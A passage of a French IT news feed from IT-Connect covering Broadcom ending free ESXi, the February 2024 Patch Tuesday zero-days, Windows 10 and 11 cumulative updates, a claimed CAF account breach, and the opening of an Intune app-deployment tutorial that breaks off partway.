<p>Cette fois-ci, c'est la version gratuite de VMware ESXi, l'hyperviseur bare-metal de VMware, qui est concerné. Broadcom a mis en ligne cette information en publiant <a href="https://kb.vmware.com/s/article/2107518" target="_blank" rel="noopener nofollow" title="">une simple page de support</a> intitulée : "<em>Fin de la disponibilité générale de l'hyperviseur vSphere gratuit (ESXi 7.x et 8.x)</em>".<strong> La version gratuite d'ESXi va disparaître et VMware ne propose pas d'alternative</strong> (mais il y en a chez les concurrents) : "<em>Malheureusement, aucun produit de substitution n'est actuellement proposé.</em>"</p>



<p>Cette version gratuite, bien qu'associée à un ensemble de restrictions, notamment parce qu'elle ne pouvait fonctionner que sur un nombre limité de cœurs de CPU et de mémoire RAM, était tout de même appréciée et très populaire. En effet, elle permettait de faire des tests facilement ou d'avoir un environnement de développement basé sur l'hyperviseur VMware. Au-delà de ça,<strong> cette version gratuite avait également sa place dans les petites et moyennes entreprises...</strong> là où les besoins sont limités.</p>



<p>Bien que cette version gratuite ne soit plus disponible,<strong> vous avez toujours l'opportunité de télécharger une version d'essai de la solution VMware ESXi</strong>. Si vous utilisez "<strong>VMware ESXi Free</strong>" en production, vous allez devoir passer à la caisse ou envisager une migration vers une solution tierce. Broadcom espère surement que certaines entreprises vont basculer sur sa nouvelle offre <a href="https://www.it-connect.fr/vmware-vsphere-foundation-la-nouvelle-offre-de-vmware-avec-esxi-et-vcenter/" target="_blank" rel="noopener" title="VMware vSphere Foundation, la nouvelle offre de VMware avec ESXi et vCenter.">VMware vSphere Foundation</a>.</p>



<p>N'oublions pas que <a href="https://www.it-connect.fr/broadcom-officialise-le-rachat-de-vmware-et-le-reorganise-en-4-entites/" target="_blank" rel="noopener" title="Broadcom officialise le rachat de VMware et le réorganise en 4 entités !">Broadcom a investi 61 milliards de dollars pour racheter VMware</a>. Désormais, c'est évident qu'il y a une volonté de rentabiliser cet investissement le plus rapidement possible...</p><p>The post <a href="https://www.it-connect.fr/broadcom-arrete-la-version-gratuite-hyperviseur-vmware-esxi/">Broadcom a pris la décision d’arrêter la version gratuite de l’hyperviseur VMware ESXi !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76233
title: Patch Tuesday – Février 2024 : 73 vulnérabilités corrigées et 2 faille de sécurité zero-day !
uri: Patch-Tuesday-Février-2024-73-vulnérabilités-corrigées-et-2
url:
https://www.it-connect.fr/patch-tuesday-fevrier-2024-73-vulnerabilites-corrigees-et-2-faille-de-securite-zero-day/

content:
<p><strong>Le mardi 13 février 2024, Microsoft a publié son deuxième Patch Tuesday de l'année ! Au programme : 73 failles de sécurité corrigées, ainsi que deux zero-day déjà exploitées dans le cadre d'attaques. Faisons le point !</strong></p>



<p>À l'occasion du Patch Tuesday de Février 2024, Microsoft a corrigé 5 failles de sécurité critiques dont voici la liste : </p>



<ul>
<li>Mi<strong>crosoft Dynamics</strong> : <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21380" target="_blank" rel="noopener nofollow" title="">CVE-2024-21380</a></li>



<li><strong>Microsoft Exchange Server</strong> : <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21410" target="_blank" rel="noopener nofollow" title="">CVE-2024-21410</a></li>



<li><strong>Microsoft Office</strong> : <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21413" target="_blank" rel="noopener nofollow" title="">CVE-2024-21413</a></li>



<li><strong>Hyper-V</strong> : <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-20684" target="_blank" rel="noopener nofollow" title="">CVE-2024-20684</a></li>



<li><strong>Windows Internet Connection Sharing</strong> : <a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21357" target="_blank" rel="noopener nofollow" title="">CVE-2024-21357</a></li>
</ul>



<p>La majorité <strong>des autres vulnérabilités sont considérées comme importantes</strong> et elles affectent différents produits et services de chez Microsoft, parmi ceux-ci : Azure Active Directory, Azure File Sync, Azure Site Recovery, Outlook, OneNote, Microsoft Teams pour Android, le rôle Serveur DNS de Windows SErver, SQL Server, ou encore le noyau de Windows.</p>



<p>En complément des 73 failles de sécurité corrigées, <strong>Microsoft a également comblé 6 vulnérabilités dans son navigateur Microsoft Edge</strong>.</p>



<h2 class="wp-block-heading">Les deux failles zero-day</h2>



<p>Ce mois-ci, Microsoft a identifié et corrigé deux failles de sécurité zero-day, c'est-à-dire des vulnérabilités connues publiquement ou déjà exploitées dans le cadre d'attaques avant même qu'un correctif ne soit disponible.</p>



<h3 class="wp-block-heading"><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21351" target="_blank" rel="noreferrer noopener">CVE-2024-21351</a> - Windows - Bypass de la fonction SmartScreen</h3>



<p>Une nouvelle fois, la<strong> fonctionnalité SmartScreen de Windows</strong> est affecté par une vulnérabilité permettant de <strong>passer outre ce mécanisme de sécurité</strong>. Pour que cette vulnérabilité puisse être exploitée dans une attaque, ceci implique une interaction avec la cible : "<em>Un attaquant doit envoyer à l'utilisateur un fichier malveillant et le convaincre de l'ouvrir.</em>", précise Microsoft. Si l'attaque réussie, elle peut permettre l'<strong>exécution de code sur la machine de l'utilisateur</strong>.</p>



<p>Cette vulnérabilité affecte toutes les versions de Windows et Windows Server à partir de Windows 10 v1607 et Windows Server 2016. Sachez que Microsoft n'a pas précisé comment était exploitée cette vulnérabilité au sein de cyberattaques.</p>



<h3 class="wp-block-heading"><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-21412" target="_blank" rel="noreferrer noopener">CVE-2024-21412</a> - Windows - Bypass de la fonction Mark of the Web</h3>



<p>La seconde faille zero-day affecte également Windows puisqu'elle permet d'<strong>outrepasser la fonction de vérification <a href="https://www.it-connect.fr/comment-ajouter-ou-supprimer-le-marqueur-mark-of-the-web-sur-un-fichier/" target="_blank" rel="noopener" title="Comment ajouter ou supprimer le marqueur « Mark-of-the-Web » sur un fichier ?">Mark of the Web (MoTW)</a> à partir d'un fichier de type raccourci Internet</strong>. Le fait de tromper la fonction MoTW engendre un défaut sur ce marqueur permettant de faire croire au système qu'il s'agit d'un lien vers un fichier local, même si celui-ci se situe sur Internet.</p>



<p>Là encore, pour que l'attaque aboutisse, il doit y avoir une interaction avec l'utilisateur : "<em>Un attaquant non authentifié pourrait envoyer à l'utilisateur ciblé un fichier spécialement conçu pour contourner les contrôles de sécurité affichés. [...] L'attaquant devra convaincre l'utilisateur d'agir en cliquant sur le lien du fichier.</em>"</p>



<p>La Trend Micro Zero Day Initiative, à l'origine de la découverte de cette vulnérabilité, a publié <a href="https://www.trendmicro.com/en_us/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html" target="_blank" rel="noopener nofollow" title="">un rapport sur la CVE-2024-21412</a>. Il permet d'apprendre que <strong>cette faille de sécurité zero-day a été activement exploitée par le groupe APT DarkCasino</strong> (Water Hydra) dans le cadre d'une campagne malveillante ciblant<strong> les traders financiers.</strong></p>



<p>Cette vulnérabilité affecte toutes les versions de Windows et Windows Server à partir de Windows 10 v1809 et Windows Server 2019.</p>



<p>D'autres articles seront mis en ligne pour évoquer les nouvelles mises à jour cumulatives pour Windows 10 et Windows 11.</p><p>The post <a href="https://www.it-connect.fr/patch-tuesday-fevrier-2024-73-vulnerabilites-corrigees-et-2-faille-de-securite-zero-day/">Patch Tuesday – Février 2024 : 73 vulnérabilités corrigées et 2 faille de sécurité zero-day !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76236
title: KB5034765 : le point sur la mise à jour Windows 11 de février 2024
uri: KB5034765-le-point-sur-la-mise-à-jour-Windows-11-de-février-2024
url: https://www.it-connect.fr/kb5034765-mise-a-jour-windows-11-de-fevrier-2024/
content:
<p><strong>Microsoft a mis en ligne de nouvelles mises à jour cumulatives pour Windows 11, notamment la KB5034765 pour les utilisateurs des versions 22H2 et 23H2. Faisons le point sur les changements apportés !</strong></p>



<p>Tout d'abord, commençons par évoquer un changement qui affecte directement l'interface graphique de Windows 11. <strong>Microsoft indique que cette mise à jour ajoute l'icône "Copilot in Windows" sur la partie droite de la barre des tâches.</strong> Ceci semble correspondre à un changement introduit dernièrement dans <a href="https://blogs.windows.com/windows-insider/2023/11/29/announcing-windows-11-insider-preview-build-23595-dev-channel/" target="_blank" rel="noopener nofollow" title="">Windows 11 Insider Preview Build 23595</a>. Désormais, c'est la version stable qui en profite. </p>



<p>Pour faire de la place, <strong>Microsoft indique que le "bouton" présent tout à droite de la barre des tâches et qui permet d'afficher le bureau, va être désactivé par défaut.</strong> Néanmoins, vous pouvez le réactiver dans les paramètres du système.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="586" height="181" src="media/20f35a7b.Icone-Copilot-in-Windows-dans-la-barre-des-taches-Windows-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Icone-Copilot-in-Windows-dans-la-barre-des-taches-Windows-11.jpg" alt="Icone Copilot in Windows dans la barre des tâches Windows 11" class="wp-image-76237" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Icone-Copilot-in-Windows-dans-la-barre-des-taches-Windows-11.jpg 586w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Icone-Copilot-in-Windows-dans-la-barre-des-taches-Windows-11-550x170.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Icone-Copilot-in-Windows-dans-la-barre-des-taches-Windows-11-150x46.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Icone-Copilot-in-Windows-dans-la-barre-des-taches-Windows-11-50x15.jpg 50w" sizes="(max-width: 586px) 100vw, 586px" /></figure>



<p>Par ailleurs, Microsoft a corrigé les bugs suivants dans Windows 11 :</p>



<ul>
<li>Cette mise à jour résout un problème qui <strong>empêche la recherche de fonctionner dans le menu Démarrer</strong> pour certains utilisateurs.</li>



<li>Cette mise à jour corrige un problème afin de <strong>rendre les appels vidéo plus fiables.</strong></li>



<li>Cette mise à jour résout un problème qui fait que <strong>votre appareil ne répond plus</strong>. Ce problème est intermittent et se produit <strong>après l'installation d'une application de prise en charge de l'impression.</strong></li>



<li>Cette mise à jour résout un problème affectant<strong> la galerie de l'explorateur de fichiers</strong>, qui ne permettait pas de fermer une bulle d'aide.</li>



<li>Cette mise à jour corrige un problème affectant<strong> les écouteurs Bluetooth Low Energy (LE) Audio</strong>. Ils perdent le son lorsque vous diffusez de la musique en continu.</li>



<li>Cette mise à jour corrige un problème affectant<strong> les appels téléphoniques Bluetooth</strong>. Elle empêche l'audio de passer par le PC lorsque vous répondez à l'appel sur votre PC.</li>
</ul>



<p>Par ailleurs, <strong>Microsoft semble avoir corrigé un problème en lien avec la configuration de BitLocker via Intune ou un autre MDM</strong> : "<em>Cette mise à jour résout un problème connu qui affecte le chiffrement des données BitLocker. Un service MDM, tel que Microsoft Intune, peut ne pas obtenir les bonnes données. Cela se produit lorsque vous utilisez les paramètres de stratégie FixedDrivesEncryptionType ou SystemDrivesEncryptionType dans le nœud du fournisseur de services de configuration (CSP) BitLocker.</em>"</p>



<p>Ainsi qu'<strong>un problème lié au comportement de Windows LAPS </strong>: "<em>Cette mise à jour résout un problème qui affecte les actions d'authentification a posteriori de Windows LAPS. Les actions se produisent au redémarrage au lieu de se produire à la fin de la période de grâce.</em>"</p>



<p>Pour en savoir plus, vous pouvez consulter <a href="https://support.microsoft.com/en-us/topic/february-13-2024-kb5034765-os-builds-22621-3155-and-22631-3155-023d9141-a5b0-470a-b0f5-2ee3b48f48ce" target="_blank" rel="noopener nofollow" title="">cette page</a>, et surtout les détails de <a href="https://support.microsoft.com/en-us/topic/january-23-2024-kb5034204-os-builds-22621-3085-and-22631-3085-preview-7652acf2-56dc-430e-b8ef-ec8f56ec1028" target="_blank" rel="noopener nofollow" title="">celle-ci</a>. Au-delà de ces changements, cette mise à jour intègre les correctifs de sécurité correspondants au Patch Tuesday de février 2024.</p>



<h2 class="wp-block-heading">Windows 11 : les mises à jour de février 2024</h2>



<p>En résumé, voici la liste des mises à jour Windows 11 publiées par Microsoft le mardi 13 février 2024 :</p>



<ul>
<li><strong>Windows 11 23H2, Windows 11 22H2</strong> : <a href="https://support.microsoft.com/en-us/topic/february-13-2024-kb5034765-os-builds-22621-3155-and-22631-3155-023d9141-a5b0-470a-b0f5-2ee3b48f48ce" target="_blank" rel="noopener nofollow" title="">KB5034765</a></li>



<li><strong>Windows 11 21H2 </strong>: <a href="https://support.microsoft.com/en-us/topic/february-13-2024-kb5034766-os-build-22000-2777-462885bd-8d9a-4521-b940-b7f05740e09f" target="_blank" rel="noopener nofollow" title="">KB5034766</a></li>
</ul>



<p>Les KB mentionnées pour Windows 11 ci-dessus sont disponibles via les canaux habituels, comme Windows Update, WSUS, etc. Sur une machine en local, une recherche à partir de Windows Update permettra de récupérer la nouvelle mise à jour.</p>



<p><strong>Retrouvez plus d'informations sur le Patch Tuesday et la mise à jour Windows 10 dans cet article : </strong></p>



<ul>
<li><a href="https://www.it-connect.fr/patch-tuesday-fevrier-2024-73-vulnerabilites-corrigees-et-2-faille-de-securite-zero-day/" target="_blank" rel="noopener" title="Patch Tuesday – Février 2024 : 73 vulnérabilités corrigées et 2 faille de sécurité zero-day !">Patch Tuesday - Février 2024</a></li>



<li><a href="https://www.it-connect.fr/windows-10-kb5034763-mise-a-jour-de-fevrier-2024/" target="_blank" rel="noopener" title="">Mise à jour Windows 10 - Février 2024</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/kb5034765-mise-a-jour-windows-11-de-fevrier-2024/">KB5034765 : le point sur la mise à jour Windows 11 de février 2024</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76240
title: Windows 10 KB5034763, que contient la mise à jour de février 2024 ?
uri: Windows-10-KB5034763-que-contient-la-mise-à-jour-de-février-2024
url: https://www.it-connect.fr/windows-10-kb5034763-mise-a-jour-de-fevrier-2024/
content:
<p>À<strong> l'occasion du mardi gras, Microsoft a mis en ligne les mises à jour cumulatives de février 2024 pour Windows 10, notamment la KB5034763 pour les versions 21H2 et 22H2. Faisons le point sur les changements apportés par l'entreprise américaine.</strong></p>



<p>Tout d'abord, Microsoft indique que cette mise à jour va <strong>modifier l'expérience de l'écran de verrouillage</strong> en ajoutant des informations dynamiques au sujet de la <strong>météo</strong>. "<em>Lorsque vous touchez ou cliquez sur la carte météo et que vous vous connectez, Microsoft Edge s'ouvre avec les prévisions complètes de MSN Weather.</em>", précise Microsoft.</p>



<p>De plus, cette mise à jour doit permettre la <a href="https://www.it-connect.fr/wndows-conformite-dma-desinstaller-apps-windows-edge-photos/" target="_blank" rel="noopener" title="Conformité DMA : Windows va nous laisser désinstaller Edge, et toutes les autres apps Microsoft !">désinstallation de Microsoft Edge et d'autres applications Microsoft natives</a>. Pour rappel, Microsoft met en place un ensemble de changements pour que<strong> son système soit en conformité avec le règlement Digital Market Act</strong>. À tester !</p>



<p>Comme la mise à jour pour Windows 11, celle-ci corrige <strong>un problème associé à la configuration de BitLocker</strong> : "<em>Cette mise à jour résout un problème connu qui affecte le chiffrement des données BitLocker. Un service MDM, tel que Microsoft Intune, peut ne pas obtenir les bonnes données. Cela se produit lorsque vous utilisez les paramètres de stratégie FixedDrivesEncryptionType ou SystemDrivesEncryptionType dans le nœud du fournisseur de services de configuration (CSP) BitLocker.</em>"</p>



<p>Par ailleurs, sur son site, Microsoft met en avant la correction des bugs suivants :</p>



<ul>
<li>Cette mise à jour résout un problème qui affecte<strong> explorer.exe</strong>. Il peut <strong>cesser de répondre</strong>. Cela se produit <strong>lorsque vous redémarrez ou arrêtez un PC</strong> auquel est connectée une manette.</li>



<li>Cette mise à jour résout un problème qui<strong> affecte le téléchargement des métadonnées des périphériques</strong>. Les téléchargements de Windows Metadata and Internet Services (WMIS) via HTTPS sont désormais plus sûrs.</li>



<li>Cette mise à jour résout un problème <strong>affectant le snap-in de l'autorité de certification</strong>. Au sein de la console de gestion de la PKI, vous ne pouvez pas sélectionner l'option "Delta CRL". Cela vous empêche d'utiliser l'interface graphique pour publier des CRL Delta.</li>



<li>Cette mise à jour résout un problème connu qui peut <strong>entraîner l'erreur 0xd0000034</strong>. Cela se produit lorsque vous essayez de<strong> mettre à niveau certains appareils éligibles vers Windows 11 </strong>à partir de Windows Update.</li>
</ul>



<p>Pour en savoir plus, vous pouvez consulter <a href="https://support.microsoft.com/en-gb/topic/february-13-2024-kb5034763-os-builds-19044-4046-and-19045-4046-f1c993e4-32b3-4cc8-947a-69e70ae124d5" target="_blank" rel="noopener nofollow" title="">cette page</a>, ainsi que <a href="https://support.microsoft.com/en-gb/topic/january-23-2024-kb5034203-os-build-19045-3996-preview-d9540687-af96-46ba-9192-88fe44833561" target="_blank" rel="noopener nofollow" title="">celle-ci</a>, du site officiel de Microsoft. Au-delà de ces changements, cette mise à jour intègre les correctifs de sécurité correspondants au Patch Tuesday de février 2024.</p>



<h2 class="wp-block-heading">Windows 10 : les KB de février 2024</h2>



<p>Voici la liste des nouvelles mises à jour publiées par Microsoft :</p>



<ul>
<li><strong>Windows 10 21H2 et 22H2 :</strong> <strong><a href="https://support.microsoft.com/en-gb/topic/february-13-2024-kb5034763-os-builds-19044-4046-and-19045-4046-f1c993e4-32b3-4cc8-947a-69e70ae124d5" target="_blank" rel="noopener nofollow" title="">KB5034763</a></strong></li>



<li>Windows 10 version 21H1 : Fin du support</li>



<li>Windows 10 version 20H2 : Fin du support</li>



<li>Windows 10 version 2004 : Fin du support</li>



<li>Windows 10 version 1909 : Fin du support</li>



<li>Windows 10 version 1903 : Fin du support</li>



<li><strong>Windows 10 version 1809 : <a href="https://support.microsoft.com/en-gb/topic/february-13-2024-kb5034768-os-build-17763-5458-f06ecec0-23b0-4860-880b-74a2fd1b56c0" target="_blank" rel="noopener nofollow" title="">KB5034768</a></strong></li>



<li>Windows 10 version 1803 : Fin du support</li>



<li>Windows 10 version 1709 : Fin du support</li>



<li>Windows 10 version 1703 : Fin du support</li>



<li><strong>Windows 10 version 1607 : <a href="https://support.microsoft.com/en-gb/topic/february-13-2024-kb5034767-os-build-14393-6709-e64b104e-984a-49fc-95ef-c3d84c159ba9" target="_blank" rel="noopener nofollow" title="">KB5034767</a></strong></li>



<li><strong>Windows 10 version 1507 :</strong> <a href="https://support.microsoft.com/en-gb/topic/february-13-2024-kb5034774-os-build-10240-20469-4747f1f2-9d1c-480f-b844-289df7d0c3fa" target="_blank" rel="noopener nofollow" title="">KB5034774</a></li>
</ul>



<p>Les mises à jour mentionnées ci-dessus sont disponibles via plusieurs canaux : Windows Update, WSUS, etc. À partir d'une machine locale, une recherche à partir de Windows Update permettra de récupérer la nouvelle mise à jour.</p>



<p><strong>Retrouvez plus d'informations sur le Patch Tuesday et la mise à jour Windows 11 dans cet article : </strong></p>



<ul>
<li><a href="https://www.it-connect.fr/patch-tuesday-fevrier-2024-73-vulnerabilites-corrigees-et-2-faille-de-securite-zero-day/" target="_blank" rel="noopener" title="Patch Tuesday – Février 2024 : 73 vulnérabilités corrigées et 2 faille de sécurité zero-day !">Patch Tuesday - Février 2024</a></li>



<li><a href="https://www.it-connect.fr/kb5034765-mise-a-jour-windows-11-de-fevrier-2024/" target="_blank" rel="noopener" title="">Mise à jour Windows 11 - Février 2024</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/windows-10-kb5034763-mise-a-jour-de-fevrier-2024/">Windows 10 KB5034763, que contient la mise à jour de février 2024 ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76245
title: Piratage de la CAF : 600 000 comptes affectés ? Changez votre mot de passe par précaution !
uri: Piratage-de-la-CAF-600-000-comptes-affectés-Changez-votre-mot-de
url:
https://www.it-connect.fr/piratage-de-la-caf-600-000-comptes-affectes-changez-votre-mot-de-passe-par-precaution/

content:
<p><strong>La CAF est victime d'une cyberattaque ! Un groupe de hackers affirme être en possession de 600 000 comptes d'allocataires, ce qui reste encore à vérifier à l'heure actuelle. Par contre, il est certain qu'ils ont pu accéder au compte de 4 allocataires. Faisons le point.</strong></p>



<p><strong>LulzSec</strong>, un <strong>groupe d'hacktivistes</strong> dans le même esprit qu'Anonymous, est parvenu à pirater la CAF et grâce aux informations récupérées, ils ont pu se connecter aux comptes de 4 allocataires ! En début de semaine, en guise de preuve, <strong>ils ont publié des copies d'écran sur le réseau social X (Twitter).</strong> De son côté, la <strong>Caisse d’Allocations familiales confirme la violation de données.</strong></p>



<p>Les journalistes du <a href="https://www.numerama.com/cyberguerre/1628104-la-caf-confirme-le-piratage-de-comptes-par-des-hackers-changez-vos-mots-de-passe-par-precaution.html" target="_blank" rel="noopener nofollow" title="">site Numerama</a> sont parvenus à obtenir des informations auprès de la CAF. Voici un extrait de la déclaration : "<em>Les 4 comptes sujets des captures d’écran ont été identifiés, la violation de données est avérée. L’accès à ces 4 comptes s’est fait sans forcer le système du site, par renseignement de mots de passes probablement obtenus par ailleurs par les auteurs. Cela confirme que le site Caf.fr n’a pas connu de faille de sécurité.</em>"</p>



<p>De son côté, le groupe LulzSec affirme que <strong>ceci n'est qu'un extrait des données qu'ils possèdent, car les hackers détiendraient 600 000 comptes d'allocataires de la CAF</strong>. Pour le moment, ceci n'a pas pu être vérifié... Et, il pourrait s'agir d'une fausse alerte, mais, la situation est tendue. </p>



<h2 class="wp-block-heading">Changez votre mot de passe dès que possible</h2>



<p>Le site de la CAF a été fermé temporairement, dans la nuit de mardi à mercredi, le temps d'effectuer quelques investigations, mais il semble de nouveau accessible. De ce fait, nous vous recommandons de vous connecter à votre compte et de <strong>changer votre mot de passe </strong>dès que possible !<strong> Il s'agit d'une mesure préventive mais nécessaire.</strong></p>



<p>Pour effectuer cette opération, connectez-vous à votre compte sur le <a href="https://www.caf.fr" target="_blank" rel="noopener nofollow" title="">site de la CAF</a>, puis cliquez sur votre compte en haut à droite, et ensuite sur "<strong>Gérer mon compte</strong>" puis "<strong>Modifier mon mot de passe</strong>".</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="481" src="media/3439c579.Changer-mot-de-passe-de-la-CAF.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Changer-mot-de-passe-de-la-CAF.jpg" alt="Changer mot de passe de la CAF" class="wp-image-76247" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Changer-mot-de-passe-de-la-CAF.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Changer-mot-de-passe-de-la-CAF-550x331.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Changer-mot-de-passe-de-la-CAF-150x90.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Changer-mot-de-passe-de-la-CAF-768x462.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Changer-mot-de-passe-de-la-CAF-50x30.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Des campagnes de phishing ciblées pourraient être lancées dans les prochains jours et les prochaines semaines... <strong>Comme toujours, restez vigilants et alertez vos proches, vos amis, vos collègues.</strong></p>



<p>Il y a quelques jours, ce sont les organismes de santé <a href="https://www.it-connect.fr/les-cyberattaques-de-viamedis-et-almerys-exposent-les-donnees-personnelles-de-millions-de-francais/" target="_blank" rel="noopener" title="Les cyberattaques de Viamedis et Almerys exposent les données personnelles de millions de Français">Viamedis et Almerys qui ont subi une cyberattaque majeure</a>.</p><p>The post <a href="https://www.it-connect.fr/piratage-de-la-caf-600-000-comptes-affectes-changez-votre-mot-de-passe-par-precaution/">Piratage de la CAF : 600 000 comptes affectés ? Changez votre mot de passe par précaution !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73229
title: Intune – Comment déployer une application au format EXE ?
uri: Intune-Comment-déployer-une-application-au-format-EXE
url: https://www.it-connect.fr/intune-comment-deployer-une-application-au-format-exe/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Comment utiliser Microsoft Intune pour installer des applications sur les postes des utilisateurs ?</strong> Voilà une question que vous devez être nombreux à vous poser à partir du moment où vous avez des licences Intune en votre possession. La bonne nouvelle, c'est que dans ce tutoriel, nous allons <strong>apprendre à déployer une application au format exécutable (.exe) </strong>sur des appareils<strong> Windows 10 </strong>et<strong> Windows 11</strong> à l'aide d'<strong>une stratégie Intune</strong> !</p>



<ul>
<li><strong><a href="https://youtu.be/cukGsnHm89E" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></strong></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/cukGsnHm89E" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>Intune est une solution polyvalente capable de déployer des applications sur <strong>différents types d'appareils</strong> (Android, iOS, Windows, etc.) et de différentes façons (notamment via le Microsoft Store). Dans ce premier article sur le déploiement d'applications avec Intune, nous allons effectuer nous attaquer au<strong> format EXE</strong> : c'est généralement celui qui donne du fil à retordre aux administrateurs systèmes... Dans <strong>Intune</strong>, nous allons donc <strong>créer et assigner une application Win32 à des appareils Windows</strong>.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="450" src="media/e33a0f90.Intune-Deployer-des-applications-sur-Windows.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Deployer-des-applications-sur-Windows.jpg" alt="Intune - Déployer des applications sur Windows" class="wp-image-76207" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Deployer-des-applications-sur-Windows.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Deployer-des-applications-sur-Windows-550x309.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Deployer-des-applications-sur-Windows-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Deployer-des-applications-sur-Windows-768x432.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Intune-Deployer-des-applications-sur-Windows-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>L'application qui va nous servir de "<em>cobaye</em>", c'est une application qui me suit depuis très longtemps :<strong> Notepad++</strong>. Mais, vous pouvez prendre une autre application... Bien qu'il y aura surement des ajustements à effectuer.</p>



<blockquote class="wp-block-quote">
<p><strong>Remarque </strong>: Intune peut s'appuyer sur le gestionnaire de paquets WinGet et le catalogue d'apps du Microsoft Store pour déployer des applications UWP ou Win32 (ceci étant encore en preview). C'est très intéressant, car cette méthode facilite grandement le déploiement d'applications via Intune.</p>
</blockquote>



<ul>
<li><a href="https://www.it-connect.fr/comment-debuter-avec-microsoft-intune/" target="_blank" rel="noopener" title="">Comment débuter avec Microsoft Intune ?</a></li>
</ul>



<h2 class="wp-block-heading">II. Prérequis</h2>



<p>Pour qu'une application soit déployée sur un appareil Windows par l'intermédiaire d'Intune, il y a plusieurs prérequis à respecter et à prendre en considération. Voici un résumé en quelques points clés :</p>



<ul>
<li><strong>Versions et éditions du système d'exploitation Windows</strong> : Windows 10 (build 1607 ou supérieur) ou Windows 11 - Prise en charge des éditions Pro, Enterprise et Education</li>



<li><strong>État de l'appareil Windows</strong> : jonction dans Microsoft Entra ID obligatoire (directe ou hybride) et inscrit dans Intune</li>



<li><strong>Poids de l'application</strong> : le total de toutes les sources de l'application déployée ne doit pas excéder 30 Go (la limite a évoluée fin 2023, car avant, c'était 8 Go)</li>
</ul>



<p>Il est à noter que "<strong>Intune Management Extension</strong>" doit également être présent sur les appareils. Son installation est automatique et elle est effectuée la première fois qu'une application ou un script est attribué à un appareil.</p>



<h2 class="wp-block-heading">III. L'outil Microsoft Win32 Content Prep Tool</h2>



<p>Pour déployer une application Win32 avec Intune, nous devons <strong>créer un package au format ".intunewin"</strong>. Pour cela, nous allons utiliser un utilitaire mis à disposition par Microsoft : <strong>Win32 Content Prep Tool</strong>. Il s'utilise en ligne de commande.</p>



<p>Vous devez le télécharger sur GitHub, via le lien suivant :</p>



<ul>
<li><a href="https://github.com/microsoft/Microsoft-Win32-Content-Prep-Tool" target="_blank" rel="noopener nofollow" title="">GitHub - Microsoft Win32 Content Prep Tool</a></li>
</ul>



<p>Une fois sur GitHub, cliquez sur "<strong>Code</strong>" puis "<strong>Download ZIP</strong>" pour obtenir l'archive ZIP du projet. Décompressez l'archive sur votre PC. Pour ma part, ce sera à l'emplacement suivant : </p>



<pre class="wp-block-code"><code>C:\TEMP\Microsoft-Win32-Content-Prep-Tool-master</code></pre>



<h2 class="wp-block-heading">IV. Préparer le package .intunewin</h2>



<p>L'objectif c'est que l'exécutable de Notepad++ devienne un package "<em>.intunewin</em>". Tout d'abord, nous devons télécharger l'exécutable 64 bits de Notepad++ sur cette page du site officiel :</p>



<ul>
<li><a href="https://notepad-plus-plus.org/downloads/v8.6/" target="_blank" rel="noopener nofollow" title="">Télécharger Notepad++</a></li>
</ul>



<p>À l'heure où cet article est rédigé, la dernière version est : <strong>Notepad++ 8.6</strong> (désormais la version 8.6.2 est disponible, mais la logique reste la même). Le téléchargement effectué depuis le site officiel nous donne le fichier "<strong>npp.8.6.Installer.x64.exe</strong>". Ce fichier sera stocké à cet endroit sur mon ordinateur :</p>



<pre class="wp-block-code"><code>C:\TEMP\SOFTWARE\npp.8.6.Installer.x64.exe</code></pre>



<p>La suite se passe dans la ligne de commande...</p>



<p>Ouvrez une console PowerShell, et positionnez-vous dans le répertoire de l'outil Win32 Content Prep Tool.</p>



